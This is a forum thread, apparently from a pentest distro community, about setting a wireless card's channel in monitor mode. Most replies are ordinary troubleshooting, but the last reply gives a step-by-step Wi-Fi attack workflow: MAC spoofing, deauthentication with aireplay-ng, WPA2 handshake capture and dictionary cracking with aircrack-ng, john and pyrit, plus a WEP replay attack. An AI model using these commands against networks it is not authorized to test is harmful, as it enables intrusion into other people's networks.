how can I set the channel of a wireless card in monitor mode? I tried with "airmon-ng start wlan1 3" and "iwconfig wlan1 channel 3". But aireplay-ng respond that the card is on channel 1...

have you tried first

airmon-ng stop wlan1
airmon-ng stop mon0 ( or whatever is the name of your mon interface )

and THEN

airmon-ng start wlan1 3

?

Are you running airodump or kismet together with airmon? If yes (especially airodump-ng) you have to bind it to that channel too. Otherwise it will go through all available channels, no matter what channel you defined for airodump.

Hope that helps.

Disutopia if you are still having problems do


airmon-ng start wlan1

airodump-ng mon0 -c 3


you will see that the monitored interface is scanning channel 3

Hi Disutopia,

Sorry i closed topic by mistake, thanks r083rt. Run this in terminal and post output with pastebin.com, and before all, unplug your USB wireless adapter, wait 10 seconds, plug it back in, then run:

Code: [Select]
lsusb
Code: [Select]
sudo lshw -C network
Code: [Select]
iwconfig
Code: [Select]
ifconfig
Thanks !

Yes thanks ZEROF I should have ask the user to supply this info , as this could be down to an internal or usb adapter firmware or driver problem


** VERY IMPORTANT **

when posting please be specific and supply all info i.e

device { usb , internal }
device { model }

the more info you supply the more accurate the solution will be

I'm not sure what you ask me!

Interface Chipset Driver

mon0 RTL8187 rtl8187 - [phy11] (removed)

Its very straight foward you still are not doing what i asked ???
listen with your eyes not with your ears !


do the following commands :

airmon-ng stop mon0
airmon-ng stop wlan1

airmon-ng start wlan1
airodump-ng mon0 -c 3

make sure you have no other monitored intefaces up i.e mon1
that goes for your internal card as well either unload your device and reload it i.e ifconfig
or turn off your computer pull out the battery say the alphabet backwards, stand up spin around three times
put your battery back it start up your computer and hey presto its out of monitor mode

if you still have trouble press the any key !!!  :P

now what is the output ????????? sorry I cant simplify this anymore its as straight forward as its gets this thread
is like pulling teeth , painful

example



give me a snap shot of the terminal with airodump running

Disutopia, good question, the reason it's still channel hopping is because of the general scan of airodump, when you did the "initial target scan" lets say, so, here's what i like to do, btw, i'm using an alfa with the rtl8187 also, nice card, get the 9db antenna for it, really nice   ;)

first if you want you can spoof or not spoof mon0:
ifconfig
airmon-ng start wlan0
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 promisc
ifconfig mon0 up

type ifconfig again to double check it

then do yer general all AP scan:
airodump-ng mon0
at this point yer telling yer mon0 to scan ALL
so after you find the target AP, what i like to do
is hit the space bar, this pauses the scan,
copy paste the target AP info onto text file
then i just ctrl+c out i open a new window
and enter this:
airodump-ng --bssid E0:91:XX:XX:XX:7A -c 6 -w Mikeyz mon0
as ya know this starts things off on the correct channel, writes
the file to root,
then the usual from another window:
aireplay-ng -0 6 -a E0:91:XX:XX:XX:7A -c 40:30:XX:XX:XX:40 mon0
load the cap after yer handshake magically appears with no trouble whatsoever
from the universe, aircrack-ng /root/Mikeyz-01.cap
and since you have the password in your dictionary file
again, the universe is awesome like this during wpa2 craggen:
aircrack-ng -w /root/Listz/Custom-WPA /root/Mikeyz-01.cap

and if yer doin wepz:

airodump-ng mon0
locate wep target
airodump-ng --bssid 00:e0:XX:XX:XX:a3 -c 6 -w Schoolz mon0
aireplay-ng -2 -p 0841  -c 88:XX:XX:XX:80:9d -b 00:e0:XX:XX:XX:a3 mon0
aircrack-ng -b 00:e0:XX:XX:XX:a3 /root/Schoolz-01.cap

i like the -p 0841 instead of the usual
also here's incremental craggen:

sudo john --incremental:Digits --stdout:8 | sudo aircrack-ng -e (networkname) -w /root/Listz/Custom-WPA /root/

and
hammeren with pyrit:
pyrit -r /root/Handshake.cap -i /root/Desktop/wordlist.txt attack_passthrough

welcome to backbox, the best pentest distro and community you'll find
i've been around on backtrack, blackbuntu etc and frankly,
only my opinion, backbox, for whatever reason, i don't know how or why
gets the tools right, especially metasploit, so have some fun with yer alfa  :)
